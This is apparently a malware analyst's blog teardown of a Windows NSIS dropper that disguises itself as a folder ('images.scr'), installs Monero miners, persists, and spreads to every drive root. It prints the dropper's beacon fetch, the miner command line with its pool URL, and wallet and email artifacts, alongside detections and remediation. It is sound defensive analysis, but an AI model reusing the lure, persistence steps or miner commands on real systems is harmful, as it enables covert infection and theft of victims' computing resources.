online lostsh.github.io fake-folder | 2026-09-10 rfc 3514: evil bit not set
post 07 2026-09-10 windows | nsis | miner 191 instructions

Anatomy of a fake folder: an NSIS miner dropper, 191 decoded instructions, and a sandbox report that read it backwards

Windows | NSIS | Cryptomining | DFIR 32 min read

A teardown of a Windows cryptominer dropper whose entire exploit is a folder icon: what the installer script actually does instruction by instruction, a wallet the packer hid from every file on disk, why the mining could never have worked, and why the automated verdict described a different piece of malware.

TL;DR

If you take one thing from this: a sandbox tells you what the malware did on one run; the script tells you what it can do. Decompile the script.

Background: the fake-folder worm

This lure is old, unglamorous, and still works. The mechanics:

  1. Take a PE and give it the extension .scr. Windows treats a screensaver as an executable and runs it on double-click.
  2. Set its icon to the standard Explorer folder graphic and name it something a folder would plausibly be called.
  3. Write it to the root of every drive: fixed disks, USB sticks, mapped network shares.
  4. Because "hide extensions for known file types" is on by default, the victim sees an item named images with a folder icon, and nothing else.

There is no exploit and no dropped second file at the point of infection. The user's own double-click is the delivery mechanism, and the code runs at their privilege. It spreads by being copied onto shared storage rather than by exploiting anything, which means an air-gapped network is not immune and a patched one is not either.

What makes this specimen worth a teardown is the care taken over the deception, and the fact that the automated verdict got the malware's identity, its capability list and its impact all wrong at once, in a way that a five-minute look at the script would have settled.

The two things, side by side

The entire attack rests on a victim not being able to tell these apart in Explorer. On the left, a folder. On the right, a 4.5 MB executable.

The malware's embedded application icon, decoded from resource RT_ICON id 1 at 256 by 256 pixels in 32-bit RGBA. It is the standard Windows Vista and 7 era file folder: a yellow manila folder drawn in three-quarter perspective with its front flap swung open to the left, a soft grey drop shadow falling down and to the right, and a thin white sheet of paper peeking out from the right edge of the front panel whose lower third is a pale blue band. The background is fully transparent.
Figure 1: the malware's own icon bytes, unmodified. Resource RT_ICON id 1, one of ten sizes in icon group 103, stored as a literal PNG stream so the extracted file is byte-identical to the embedded resource (28,181 bytes, MD5 b744c2b55648408de209c6180ef48e5e)

That is not an approximation of the Windows folder icon; it is the Windows folder icon, supplied at all ten sizes from 256×256/32bpp down to 16×16/4bpp so that no Explorer view falls back to a generic executable glyph. Whatever icon size the victim's view mode asks for, the answer is a folder.

Why the fake works, line by line

A real folder images.scr
What Explorer shows Folder icon, name, no extension Identical. Folder icon at every size, name images, extension hidden by default
Properties → Details File folder FileDescription = Folder, ProductName = Images folder (x86-x64), Comments = FOLDER
On double-click Opens in Explorer Windows executes it, then the script opens an empty folder in Explorer anyway
Where you find it Anywhere The root of every drive C: through Z:, including removable media and mapped shares
Signature n/a Unsigned, but branded: impersonation by metadata rather than by certificate
Visible UI A folder window A folder window. Nothing else — no wizard, no progress bar, no UAC prompt

Three design choices deserve a callout.

  1. The metadata lies in the same direction as the icon. Setting FileDescription to Folder means that the one place a cautious user might look, right-click → Properties, agrees with the lie. OriginalFilename and InternalName are deliberately omitted: either would have had to name a real file and contradict the images.scr / image.exe renaming.
  2. The decoy folder is the masterstroke. When the script detects it was launched as images.scr, it creates the directory %TEMP%\images.scr and opens it with SW_SHOWNORMAL. The victim clicked a folder and a folder window opened. The expected outcome occurred, so nothing feels wrong, and the empty contents read as an empty folder rather than as an infection.
  3. The silence is provable, not assumed. The inflated NSIS common header begins aa 00 00 00: flags 0x000000AA, which sets CH_FLAGS_SILENT, CH_FLAGS_DETAILS_NEVERSHOW and CH_FLAGS_AUTO_CLOSE. The header's PAGES block has a count of zero. This is a SilentInstall build with no installer pages at all; the six embedded dialog templates are inert stock exehead dead weight that is never instantiated.

The naming is coherent across the whole chain, which is what holds the disguise together: install directory Images, dropped executable image.exe, propagated copy images.scr, startup shortcut image.lnk. Every artifact reinforces a benign "pictures" theme.

The verdict that started it, and why it was wrong

The sample arrived with a CrowdStrike Falcon Sandbox report: malicious, threat score 100, 5 processes, 19 extracted files, 223 signatures (172 informational, 45 at threat level 1, 6 at level 2), 101 MITRE ATT&CK techniques, and six top-level incidents, the first of which is Spyware.

That 101-technique list is heuristic, derived largely from imported-API presence, and it is wrong in both directions at once:

Report said Actually
Incident: Spyware There is no keylogging, screenshot, clipboard, credential-store or exfiltration path anywhere in the 191-instruction script. The only outbound data is a fixed-URL GET whose response is discarded unread.
Email Collection, Screen Capture, Clipboard Data, OS Credential Dumping, Steal Web Session Cookie None supported by any artifact. These are API-presence guesses.
Process Hollowing, Thread Execution Hijacking, PE Injection Unsubstantiated. Two level-2 signatures ("creates a process in suspended mode", "writes data to a remote process") are best explained by VMProtect's own unpacking stub, which routinely trips these heuristics. Left unresolved rather than claimed.
T1496 Resource Hijacking: never assigned The sandbox tagged the file miner and recorded both miners' command lines, then did not assign the technique that describes mining.
T1091 Removable Media: never assigned It recorded Copy to C:\images.scr and Copy to X:\images.scr in its own detail log, and did not connect them to the technique.

Reproducing 101 techniques would misrepresent the threat, so the report I ended up writing carries 15, each tied to a specific artifact. The failure mode is worth naming: a long technique list looks like thoroughness, and its length is what makes the two genuinely load-bearing omissions invisible.

To see what the sample actually is, you have to stop reading the detonation and read the installer.

Setting the scene: an eleven-year-old sample in a 2026 sandbox

Context makes this case legible. Five independent lines of evidence date the build:

Evidence Value
PE compile timestamp, both CPU miners 2014-07-23 (10:09:45 and 09:54:38)
PE compile timestamp, GPU miner 2015-02-02 05:34:01
Version block LegalCopyright: Copyright © 2014
Algorithm name in tmp.ini cryptonote, i.e. CryptoNight v0
Toolchain NSIS 2.46 with Inetc plugin 1.0.4.4

The detonation is dated 2026-01-07 16:03:44 UTC with origin: quarantine: a resurfaced artifact, not a live campaign. One wrinkle worth recording because it will bite anyone building a timeline from the capture file: the pcap's frame clock reads 2026-01-08 00:04:03, but the server's own Date: headers read Wed, 07 Jan 2026 16:04:21 GMT. The pcap clock is +8 hours relative to UTC. All seven beacons land inside 16:04:21–16:04:29, so the whole install chain completed in roughly ten seconds; the remaining eighteen minutes of capture are two miners failing to connect.

Recovering the script

7z will happily unpack an NSIS archive and hand you eight files. It will not hand you the install logic, and in this sample the logic is the payload. So I parsed the container format:

python | locating and inflating the NSIS header
# the firstheader sits at the end of the 87,552-byte exehead stub
off = 87552
flags, sig  = struct.unpack('<II', d[off:off+8])       # flags=2, sig=0xDEADBEEF
nsinst      = d[off+8:off+20]                          # b'NullsoftInst'
len_hdr, _  = struct.unpack('<II', d[off+20:off+28])   # 8758
szw         = struct.unpack('<I',  d[off+28:off+32])[0]# 0x8000085D -> compressed, 2141 bytes

out = zlib.decompressobj(-15).decompress(d[off+32:], len_hdr*4)
# -> inflated 8758 bytes, an exact match for len_hdr

The inflated header carries an eight-entry block table, which tells you where everything lives:

the block table
PAGES       offset=   300  num=0     <- zero pages: a silent install
SECTIONS    offset=   300  num=1
ENTRIES     offset=  1348  num=191   <- 191 instructions, 28 bytes each
STRINGS     offset=  6696            <- 1900 bytes of strings
LANGTABLES  offset=  8596  num=1
CTLCOLORS   offset=  8758  num=0

Each instruction record is a 4-byte opcode plus six 4-byte parameters. Resolving the parameters against the string table needs NSIS's escape codes: 0xFD introduces a variable reference as a 7-bit byte pair, 0xFE a shell-folder reference as a CSIDL pair (0x1A/0x23$APPDATA), and 0xFF a language string. Miss that and every path in the script reads as mojibake.

The last piece is control flow. NSIS stores a jump target as instruction_index + 1, with 0 meaning "no jump", so decoding the jump parameters of every Goto, StrCmp, IntCmp and IfFileExists yields the graph:

the decisive branches
 #27  IfFileExists $R0\image.exe       YES-> #38    # skips the test9 beacon block
 #38  StrCmp $EXEFILE "image.exe"        EQ-> #53    # skips relaunch, decoy AND test10
 #40  StrCmp $EXEFILE "images.scr"       NE-> #43    # Abort
#115  IntCmp <len [section2] file>    EQ/LT-> #124   # skips the 2nd-stage downloader
#149  StrCmp $R5 "Win64"                 EQ-> #152   # 64-bit: CPU miner, falls into GPU
#151  Goto #154                                      # 32-bit: skips the GPU miner entirely

The execution: two passes, 191 instructions

The chain runs in two passes. The process the victim double-clicks does the install and then relaunches a hidden copy of itself; that hidden copy does everything else.

Flow diagram of the reconstructed installer, in two lanes. The upper lane, Pass A, is the process the victim double-clicked, where the executable's own filename is neither image.exe nor images.scr; it runs six steps left to right: instructions 0 to 8 send beacon one to test8.txt and delete the response unread; 9 to 20 choose the install directory percent APPDATA percent backslash Images with four fallbacks; 21 to 26 self-copy the executable to that directory as image.exe; 38 to 39 relaunch it hidden with ExecShell and SW_HIDE; 40 to 42 create and open a decoy folder at percent TEMP percent backslash images.scr; and 43 aborts, so only test8 was ever requested. A dashed green arrow labelled forks the hidden process drops from the relaunch step into the lower lane. The lower lane, Pass B, is the hidden image.exe, which does everything else; because its filename is now image.exe, instruction 38 jumps to 53 and skips the test10 beacon. Pass B runs twelve steps across two rows: beacon one to test8.txt a second time; instructions 53 to 59 drop six payloads, three miners plus three config files; 60 sleeps thirty thousand milliseconds as an analysis-timeout stall; 61 to 69 send beacon four to test11.txt; 70 to 103 pick one of twenty wallets using GetFileTime of image.exe modulo the wallet count; 104 to 112 send beacon five to test12.txt; then on the second row, 113 to 124 skip the second stage because the Section2 file key is empty, shown as a dashed grey box; 125 to 140 call IsWow64Process to resolve Win64 or Win32; 141 to 148 send beacon six to test13.txt; 149 to 153 launch the CPU and GPU miners with the arguments dash dbg dash one dash o stratum plus tcp; 154 to 156 persist twice and wipe the config, setting a Run key named Coin and a Startup shortcut; and 157 to 174 send beacon seven and spread copies of images.scr to every drive root from C to Z. A summary strip below states four outcomes: seven beacons defined but only five fired because test9 and test10 are unreachable dead code; twelve HTTP requests returning zero payloads, each beacon getting a 301 on port 80 then a 404 on port 443; fifty-four stratum SYN packets with zero SYN-ACK because the pool sits behind Cloudflare which does not proxy TCP 3333; and revenue of zero XMR because CryptoNight version zero is obsolete against RandomX and the pools are dead. A legend maps six colours to beacon or telemetry, filesystem and config, execution, evasion or deception, persistence and impact, and dead code that never ran.
Figure 2: the reconstructed chain. Instruction indices are positions in the decoded 191-instruction script, so every box is checkable against the listing. The two dashed boxes are code paths that exist in the binary and did not execute

Walk-through: what each step does, and why

Pass A, #0–8: beacon "install started." What: extract inetc.dll to $PLUGINSDIR and call inetc::get /SILENT http://testswork[.]ru/test8.txt temp.txt, sleep 2 s, delete temp.txt. Why it matters: the response is never read, which tells you immediately that this is not a config fetch. More on that below.

#9–20: choose an install directory. What: try five locations in order until one works — %APPDATA%\Images, C:\Images, D:\Images, %USERPROFILE%\Images, %TEMP%\Images. Why it matters: a detection or a cleanup script keyed to %APPDATA%\Images alone misses four of the five. In this run the first candidate won.

#21–26, #38–39: self-copy and hidden relaunch. What: CopyFiles $EXEPATH → $R0\image.exe, then, because its own filename is not image.exe, ExecShell open $R0\image.exe SW_HIDE. How we know the second process is this: the sandbox's process list shows image.exe with the command line SW_HIDE and a SHA-256 identical to the input sample. Every PE carved from that process's memory turns out to be the stock NSIS System.dll plugin. There is no hidden stage here; image.exe is the dropper wearing a different name.

#40–42: the decoy. Covered above, and reachable only in Pass A, i.e. only when the file really is named images.scr. A victim who double-clicks the fake folder on a USB stick gets the empty-folder illusion; the same binary downloaded under any other name shows nothing at all.

Pass B, #53–59: drop the payloads. Six files into $R0: NsCpuCNMiner32.exe, NsCpuCNMiner64.exe, NsGpuCNMiner.exe, Data.bin, pools.txt, tmp.ini.

#60: Sleep 30000. Why: a thirty-second stall between dropping the payloads and executing them. Cheap, dependency-free, and effective against any automated analysis with a short timeout. The sandbox recorded one image.exe thread sleeping 525 times.

#70–103: pick a wallet from a file timestamp. What: GetFileTime $R0\image.exe feeds integer arithmetic that yields an index; the script then reads tmp.ini line by line and slices out that pool entry on the '-o  and  -p  delimiters. Why it matters: the choice is not C2-driven, and because the dropped file's mtime is fixed once written, it is sticky per host across reboots. Victims spread pseudo-randomly but stably across twenty payout addresses.

#113–124: the second stage that did not fire. What: ReadINIStr pulls tmp.ini [section2] file; had it held a URL, the script would fetch it to %TEMP%\temp.exe and run it SW_HIDE. Why it didn't: the key is empty in this build, so #115 branches past the whole block. Confirmed independently: the string temp.exe appears zero times in the sandbox report. Why you should care anyway: this is a fully intact download-and-execute primitive whose destination is a single line in a text file.

#125–140: architecture detection. Via the NSIS System plugin: kernel32::GetCurrentProcess() then kernel32::IsWow64Process(is,*i.s)Win64 or Win32.

#149–153: launch the miners. On 64-bit, NsCpuCNMiner64.exe and NsGpuCNMiner.exe, each with -dbg -1 -o stratum+tcp://mine.moneropool[.]com:3333 -u <wallet> -p x. On 32-bit, only NsCpuCNMiner32.exe — the branch at #151 jumps clean over the GPU miner. Impact assessments have to distinguish the two: a 32-bit victim gets one miner, a 64-bit victim gets its CPU and its GPU pegged simultaneously.

#154 and #156: persist, twice. HKCU\Software\Microsoft\Windows\CurrentVersion\Run value Coin = $R0\$EXEFILE, and a shortcut image.lnk in the Start Menu Startup folder pointing at the same file (dropped, SHA-256 589172b2fae9782cee660bc71395242bb6d7dfd1e7251665954be392c4ba9180). Two mechanisms, either of which alone re-establishes the infection on logon. Both are HKCU and user-level: every manifest in the chain requests asInvoker, and there is no UAC bypass or elevation attempt anywhere.

#155: destroy the evidence. DeleteFile $R0\tmp.ini. The file holding all twenty wallets is removed the moment one has been chosen.

#166–174: spread. Walk the letter table +CDEFGHIJKLMNOPQRSTUVWXYZ and issue CopyFiles $EXEPATH → <X>:\images.scr for each, pausing 2 s between drives. The sandbox's NSIS detail log preserved Copy to C:\images.scr and Copy to X:\images.scr, and its API log shows direct volume access to D: and Z: plus \PIPE\wkssvc and \PIPE\DAV RPC SERVICE, which is mapped-drive and WebDAV resolution.

The reconstruction validates itself

This is the part that makes the whole teardown trustworthy rather than plausible. The branch graph predicts precisely which beacons can fire: test8 twice, once per pass, and test11, test12, test13, test14 once each. That is six logical fetches, each attempted on port 80 and then on port 443, for twelve HTTP requests.

The sandbox report contains exactly twelve, with test8 appearing twice, and no request at all for test9 or test10. Prediction and packet capture agree completely, which is about as good as static-versus-dynamic corroboration gets.

The beacon funnel, read correctly

Seven URLs are woven through the chain, one per install stage:

# URL Fires after Observed
1/test8.txtprocess start (both passes)2×, 301 → 404
2/test9.txtunreachable branchnever
3/test10.txtunreachable branchnever
4/test11.txtpayloads dropped + 30 s stall301 → 404
5/test12.txtwallet selected301 → 404
6/test13.txtarchitecture detected301 → 404
7/test14.txtminers running + persistence set301 → 404

Every one downloads to temp.txt and is then deleted without being parsed. They carry no victim data and receive no configuration. They are a conversion funnel: the operator counting how many infections survive each stage, instrumented exactly as a growth team would instrument a signup flow. It is the same pattern as the ?event=pasted callback in the ClickFix teardown, eleven years earlier and with a text file instead of a JSON API.

All seven carry User-Agent: NSIS_Inetc (Mozilla), the Inetc plugin default, and that turns out to be the only thing network detection caught: Suricata produced exactly one alert across the whole capture, ET USER_AGENTS Observed Suspicious UA (NSIS_Inetc (Mozilla)), SID 2011227. One alert, on the least interesting property of the least interesting request.

The host was alive; the files were gone

Every beacon got a two-hop failure: port 80 returned a 301 Moved Permanently from nginx with Location: https://testswork[.]ru/test<N>.txt, and the HTTPS leg then returned 404 Not Found. The sandbox saved these bodies; all five 301 pages are byte-identical at 162 bytes, because they are all the same nginx error page.

It would be wrong to call the C2 "dead" in January 2026, and the distinction matters. The host was alive, maintained and instrumented: a valid Let's Encrypt certificate roughly 89 days old, a per-request W3C traceparent header, and an edge identifier X-ID-FE: fr5-hw-edge-gpig-gc53. What had disappeared were the /test<N>.txt files. The site was serving normally; the malware's drop files had been removed from its web root. That is exactly the behaviour of a compromised legitimate site that has since been cleaned.

The malware neither notices nor cares, because it never inspects a status code. Which is why the install completed in full despite total C2 failure.

The wallets, and the twenty-first one

tmp.ini holds twenty entries, pool0 through pool19, each a complete miner argument string pointing at the same pool with a different wallet. I validated all twenty properly rather than by regex: base58-decode to 69 bytes, check the network byte (0x12, Monero mainnet standard), and recompute the Keccak-256 checksum over the first 65 bytes, cross-checking a pure-Python Keccak against PyCryptodome.

20 / 20 valid, 20 distinct public spend keys, 20 distinct public view keys, no shared prefix beyond two characters. Genuinely independent wallets, not derived subaddresses. The one selected at runtime was pool17.

Why twenty against one pool? The arithmetic explains it. A five-thousand-host campaign at an assumed 75 H/s per host is about 375 kH/s. Against a 2014-era Monero network of roughly 15 MH/s that is ~2.5% of global hashrate arriving at a single payout address, conspicuous enough for a public pool to notice and ban. Divided twenty ways it is ~18.75 kH/s per address, which looks like an ordinary small mining farm. The wallet count buys camouflage from the pool operator and resilience if individual addresses are banned. (Those hashrate figures are stated assumptions, not measurements.)

A wallet that exists in no file

Sweeping all nine files with an anchored base58 pattern in both ASCII and UTF-16 returns zero wallet hits outside tmp.ini itself. Searching the process memory of the running CPU miner returns something else:

recovered from PID 7312 memory only
47mr7jYTroxQMwdKoPQuJoc9Vs9S9qCUAL6Ek4qyNFWJdqgBZRn4RYY2QjQfqEMJZVWPscupSgaqmUn1dpdUTC4fQsu3yjN

# 95 chars, 69 raw bytes, network byte 0x12
# keccak-256 checksum computes to a3d5ee09, matching the address
# random base58 passes that check with probability ~2^-32

It is resident in six memory regions of NsCpuCNMiner64.exe across all three dump generations, and at offset 0x2b6b0 of the PAGE_READWRITE region based at 0x2A45E000 it sits as a NUL-terminated C string in a zero-padded fixed buffer: an allocated string field, not incidental high-entropy data. It appears in no file on disk at all, because the miners are VMProtect-packed and their string data only materialises once the packer decrypts it at runtime.

PID Process Distinct wallets in memory Which
7312NsCpuCNMiner64.exe2 pool17 (×25) and 47mr7jYT… (×6)
8160image.exe1 pool17 only (×8)
7020NsGpuCNMiner.exe0 none, consistent with an immediate exit on a GPU-less host

Only pool17 was loaded from the config, which confirms a single selection rather than the whole file being parsed. But the CPU miner carries an extra address of its own, and the next section says what it is for.

The payloads: VMProtect, Claymore, and a dev fee that stops mining

All three miners are VMProtect-packed. Each carries .vmp0 and .vmp1 sections marked read/write/execute, while the original .text, .rdata and .data have a raw size of zero: present in the section table, empty on disk. Only 13–14 imports survive. The three miners carry no version block and no icon at all — VMProtect discarded their resources, which is why the operator had to give them descriptive filenames instead.

Two developer artifacts survive the packing in plaintext, and they are the strongest attribution evidence in the sample:

PDB paths
NsCpuCNMiner64.exe   E:\CryptoNight\bitmonero-master\src\miner\x64\CPU-Release\Crypto.pdb
NsGpuCNMiner.exe     E:\CryptoNight\bitmonero-master\src\miner\x64\POOL\Crypto.pdb

Not repacked public binaries: compiled by the operator from a bitmonero-master source tree on drive E:, under Visual Studio build configurations named CPU-Release and POOL.

The packer is beaten by the memory dumps, not by unpacking

Everything VMProtect hides on disk is sitting in plaintext in the running process. From the unpacked string table in PID 7312, region 0x2A419000:

unpacked string table | zero hits against any file on disk
0x1b010  47mr7jYTroxQMwdKoPQuJoc9Vs9S9qCUAL6Ek4qyNFWJdqgBZRn4RYY2QjQfqEMJZVWPscupSgaqmUn1dpdUTC4fQsu3yjN
0x1bd00  DevFee:
0x1c050  SOMETHING WRONG WITH DEVFEE CONNECTION. STOP MINING.
0x1c25d  Claymore CryptoNote %s Miner  v%s Beta
         simpleminer.cpp          simpleminer/0.1
         vasrashpil@gmail.com
         %s%s - SHARE FOUND (target %d) - (%s %d of %d)
         {"method": "login",  "params": {"login": "%s", "pass": "%s", "agent": "cpuminer-multi/0.1"
         stratum+tcp://mine.moneropool.com:3333          # 26 occurrences

That banner identifies the payload as Claymore's CryptoNote Miner, a closed-source Monero miner of the 2014–2016 period, rather than a generic repack. The presence of simpleminer.cpp and the agent string simpleminer/0.1 shows it was built on the CryptoNote reference simpleminer code, which is exactly what lives in src/miner/ of the bitmonero source tree, reconciling perfectly with that PDB path. Both agent strings are sent in the clear in the stratum login request, which makes them excellent network signatures. The table also yields a contact address, vasrashpil@gmail.com; I report it as an artifact and draw no conclusion about whose it is.

And it settles the wallet question. The literal DevFee: sits 0xCF0 bytes after that address, with SOMETHING WRONG WITH DEVFEE CONNECTION. STOP MINING. just beyond it. All four artifacts within about 4.7 KB of one another in the same string table. The twenty-first wallet is the dev-fee payout address compiled into the miner. It is arguably a better pivot than the twenty configured ones, because it belongs to whoever built the miner rather than whoever ran this campaign, and can therefore link operations that share tooling but nothing else.

That error string also reveals a behaviour worth knowing: this miner stops mining entirely if it cannot reach its dev-fee pool. On any host where the dev-fee destination is unreachable, which today it certainly is, the miner terminates its own workload.

And it explains -dbg -1

The flag looks like "enable debugging", and I was ready to leave it undetermined rather than guess at packed code. The unpacked option table resolves it: -dbg takes a value (the miner carries the error Missed option value after -dbg option), and the value supplied is -1, which disables the log file. The literal _log.txt exists in the unpacked .rdata, yet no formatted *_log.txt filename appears in any of the 54 dumps and _log.txt appears zero times in the sandbox report. So -dbg -1 is the operator switching logging off, and it is why no miner console output survives anywhere.

Data.bin: what I can and cannot say

78,642 bytes, Shannon entropy 7.9804 bits/byte with all 256 byte values present, header a9 02 4f be matching no known container magic. I ruled out the easy explanations rather than guessing: the length is not block-aligned (78,642 mod 16 = 2), there is no ECB structure (2 repeated 16-byte blocks out of 4,915), and no single-byte XOR key in 0x01–0xFF yields MZ, PK, ELF, __kernel, .version, gzip, bzip2 or xz magic at any offset. Conclusion: a compressed or stream-encrypted opaque blob.

The hypothesis, labelled as one, is that it is the encrypted OpenCL compute kernel for the GPU miner: NsGpuCNMiner.exe is the only payload that imports opencl.dll, the only one that would need an external device-code blob, and the script drops Data.bin beside it while never reading it itself. Runtime evidence confirms the loader was never exercised: the GPU miner never loaded opencl.dll and never opened Data.bin, and its process memory holds no wallet at all. The hypothesis stands untested.

Network reality: nothing mined

Filtering the capture to the stratum ports returns 54 packets, every one a SYN or a retransmitted SYN to 188.114.96.3:3333. There is not a single SYN-ACK.

tshark | the whole mining career of this sample
$ tshark -r capture.pcap -Y 'tcp.port==3333 || tcp.port==1111'
344  931.662  192.168.0.2 -> 188.114.96.3  TCP  49768 -> 3333 [SYN]
345  931.662  192.168.0.2 -> 188.114.96.3  TCP  49769 -> 3333 [SYN]
350  934.663  192.168.0.2 -> 188.114.96.3  TCP  [TCP Retransmission] 49768 -> 3333 [SYN]
351  934.663  192.168.0.2 -> 188.114.96.3  TCP  [TCP Retransmission] 49769 -> 3333 [SYN]
... 54 packets total, zero SYN-ACK, zero stratum bytes exchanged

The cause is infrastructure, not sandboxing. mine.moneropool[.]com resolved to 188.114.96.3 and 188.114.97.3, Cloudflare edge addresses. Cloudflare's proxy serves HTTP/HTTPS ports only; TCP 3333 is not proxied, so the stratum port is simply unreachable through the edge. No login, no job template, no submitted share.

Note the SYNs arriving in pairs on adjacent source ports (49768+49769, 49782+49783, 49788+49789, 49794+49795), each pair retried about three times with a fresh pair every ~20 s. That is the CPU miner and the GPU miner independently retrying, which matches the reconstruction's simultaneous launch of both. Small detail, but it is independent confirmation that #152 and #153 both ran.

So the corrected impact: the dropper completed its entire local kill chain — self-copy, payload drop, both persistence mechanisms, drive-root propagation — while both of its network channels failed completely, because it never checks whether any network operation succeeded. Revenue was zero. Persistence and propagation were total.

Separating malware traffic from sandbox noise

Only two DNS names in the capture are attributable to the malware: testswork[.]ru → 81.28.12.12, and mine.moneropool[.]com → the Cloudflare pair. Everything else — login.live.com, client.wns.windows.com, dns.msftncsi.com, www.msftconnecttest.com, win1710.ipv6.microsoft.com, maps.windows.com and the associated 20.190.160.x / 172.187.86.x / 23.200.147.154 flows — is ordinary Windows 10 telemetry and connectivity checking from the analysis VM. It reads as suspicious volume in a report and must not be promoted to indicators.

Campaign infrastructure

Host Role At detonation Today (2026-09-10)
testswork[.]ru beacon / telemetry 81.28.12.12, nginx on :80 redirecting to :443 unregistered
mine.moneropool[.]com stratum pool (public, all 20 wallets) 188.114.96.3 / .97.3 Cloudflare 65.108.204.181 Hetzner, 80/443 closed
xmr.hashinvest[.]net failover pool, port 1111 not contacted no A record
monero.crypto-pool[.]fr failover pool not contacted no A record (apex still up)
mine.cryptoescrow[.]eu failover pool not contacted no A record

A trap to avoid: moneropool[.]com and crypto-pool[.]fr were legitimate public Monero pools. They are victims of abuse here, not attacker assets, and labelling them C2 in a report is both wrong and actively unhelpful to anyone consuming it.

Two configuration files, two different consumers, which looks like a contradiction until you check: tmp.ini lists only mine.moneropool[.]com:3333 across all twenty entries, while pools.txt lists four pools. The NSIS script never reads pools.txt — it appears nowhere in the recovered instruction stream except as a filename to extract — whereas the miner binary does, as its own failover list. In this detonation the failover was never exercised, because the miners never got far enough to fail over.

Investigating the operator

What can be responsibly inferred about who ran this? The short version: this is commodity, financially-motivated e-crime built on off-the-shelf tooling, and the operator is not identifiable from what we hold. The reasoning, with confidence stated:

1. The telemetry host looks compromised, not registered

This is the finding most likely to be reported incorrectly. The domain's archived history does not look like attacker infrastructure. Wayback holds captures from 2011 of a small Russian site about employment questionnaires, with pages such as anketi_pri_prieme_na_rabotu_ovd.htm, matching the name ("tests work"), and then from 2024–2026 a Russian clickbait content farm with a named author byline and categories raznoe and rejting. At detonation it served a valid, properly renewed Let's Encrypt certificate.

A fifteen-year-old site with real content and maintained TLS is a poor fit for purpose-registered malware infrastructure and a good fit for a compromised or otherwise abused host used as a dead-drop. The beacon paths are consistent with files dropped into a web root. Confidence: medium-high.

It is now unregistered, which retires it as an active threat and creates a different one: anyone can re-register it, including to re-point a still-installed population of this worm. A lapsed C2 domain in a family that persists across reboots is a standing risk and a candidate for defensive registration.

2. Public pools mean there is no C2 to seize

The operator ran no mining infrastructure of their own: no private pool, no proxy, just twenty wallets pointed at public pools. That buys zero infrastructure cost and traffic that blends with legitimate mining, at the price of exposing the wallets to public pool statistics and to bans. It also means there is nothing to take down. Confidence: high, this is deliberate and characteristic of commodity mining crews rather than of anyone who needs interactive control.

3. The tooling is bought, not built

Claymore's CryptoNote Miner was a widely-distributed closed-source product; simpleminer is CryptoNote reference code; VMProtect is a commercial packer; NSIS is a mainstream installer. The only artifact that is plausibly the operator's own work is the dropper script. That is the profile of somebody assembling commodity parts, and the dev-fee address means even the miner's author was taking a cut of their revenue.

4. What does not support attribution

5. Attribution verdict

Operator: unknown. Ecosystem: commodity CryptoNight mining trojans of the 2014–2016 era, distributed in NSIS wrappers with fake-folder .scr lures, a pattern reused by many unrelated crews. The campaign-specific parts — the dropper logic, the beacon URL scheme, the Coin registry value, the folder-lure branding, the twenty-wallet set — are the only things that cluster this sample, and they cluster it with a technique, not with a group.

The honest headline: we can classify the ecosystem with reasonable confidence and the operator not at all. The highest-value next step is not more infrastructure analysis but blockchain research against the twenty-one addresses, which would size the campaign's actual take. I deliberately did not attempt it: it needs pool-statistics and explorer work that is a separate exercise from reversing the binary.

Detection engineering: detect the script, not the detonation

The single Suricata alert fired on a User-Agent string. Useful, and about as shallow as a detection can be: the operator changes one literal and it is gone. What they cannot cheaply change is the shape of the behaviour, because it is dictated by what the malware is for.

So the detections worth building, most durable first:

Any process created with stratum+tcp:// on its command line. This single rule catches essentially every commodity mining trojan regardless of family or vintage, and has almost no legitimate counterpart on a corporate endpoint.

Supporting signals, in rough order of durability:

One scoping point matters for this family specifically, and it generalises to anything VMProtect-packed: the strings that identify the payload do not exist in the files. File-scanning YARA has to anchor on the PDB path and the .vmp0/.vmp1 section layout, while the product banner, the dev-fee strings and the dev-fee wallet are reachable only by scanning memory. A rule built from the memory strings and deployed as a file signature will never fire, and will look like coverage while providing none. Mark the scope in the rule.

The other discipline is negative: a rule that anchors on NSIS structure alone is a false-positive machine, because every legitimate Nullsoft installer matches it. My ruleset anchors instead on pool0="-o stratum+tcp://, the E:\CryptoNight\bitmonero-master build path, and the payload filenames in the NSIS string table — and I checked it, rather than assuming: zero false positives across 854 system binaries and every non-sample PE on the analysis host, with correct hits on the sample set.

Remediation, in this order

  1. Capture before you kill. Take a memory image of every *CNMiner*.exe process and record its command line. tmp.ini is already deleted, so the process is the only place the configured wallet still exists, and process memory is the only place the dev-fee address is visible at all. A file collection alone loses both.
  2. Terminate image.exe and the miners.
  3. Delete the Coin Run value and the Startup image.lnk.
  4. Remove the install directory, checking all five candidate locations.
  5. Sweep every drive root for images.scr, C: through Z:, including removable media and mapped shares. Skipping this reinfects the host and everyone else with access to those shares. This is the step most likely to be missed.
  6. Hunt laterally: any file server or USB device that ever held images.scr is a distribution point.
  7. Check for %TEMP%\temp.exe. Its presence means the second stage did fire on that host and an unknown payload ran. Escalate.

Hard lessons

What went well: the branch-graph reconstruction predicted the exact HTTP request count before I looked at the capture, which is the strongest form of validation available for this kind of work. Every hash in the report was recomputed from the files rather than copied from the sandbox, which is how the case-sensitivity error got caught at all. And the detection content was tested against a benign corpus rather than shipped on the assumption that specific-looking strings are specific.

Indicators of compromise

Block the beacon domain by name. Treat every IP here as context only: the stratum addresses are shared Cloudflare anycast and blocking them will cause an outage.

Type Value Note
SHA-256 8bee95131ae47d9a5e3c8cccceaaad7e5567eac66ae7c0d875c9a57d3fc7acef The dropper. Also image.exe and images.scr: same bytes, three names.
SHA-256 a0eba3fda0d7b22a5d694105ec700df7c7012ddc4ae611c3071ef858e2c69f08 NsCpuCNMiner32.exe, VMProtect, 2014-07-23.
SHA-256 d0326f0ddce4c00f93682e3a6f55a3125f6387e959e9ed6c5e5584e78e737078 NsCpuCNMiner64.exe, the build that ran.
SHA-256 7a2a860bb344526e8546acd172522b4d276a4647f43dd4720281d40e390b283e NsGpuCNMiner.exe, imports opencl.dll.
SHA-256 932055827d87637ba7e11565f22dda3f09cc9457769788d94413e96cf346a6e4 Data.bin, entropy 7.9804, unidentified blob.
SHA-256 85ac75d560d635313a88fd2cafdbbee84ec9a4263d40b138e1f0c52e3dbdca36 tmp.ini, the 20-wallet config. Deleted at runtime.
SHA-256 589172b2fae9782cee660bc71395242bb6d7dfd1e7251665954be392c4ba9180 image.lnk, the Startup persistence shortcut.
Domain testswork[.]ru Beacon host. Now unregistered; likely a compromised legitimate site.
URL http://testswork[.]ru/test{8,9,10,11,12,13,14}.txt Seven stage beacons. test9/test10 are dead code, never contacted, and appear in no public report.
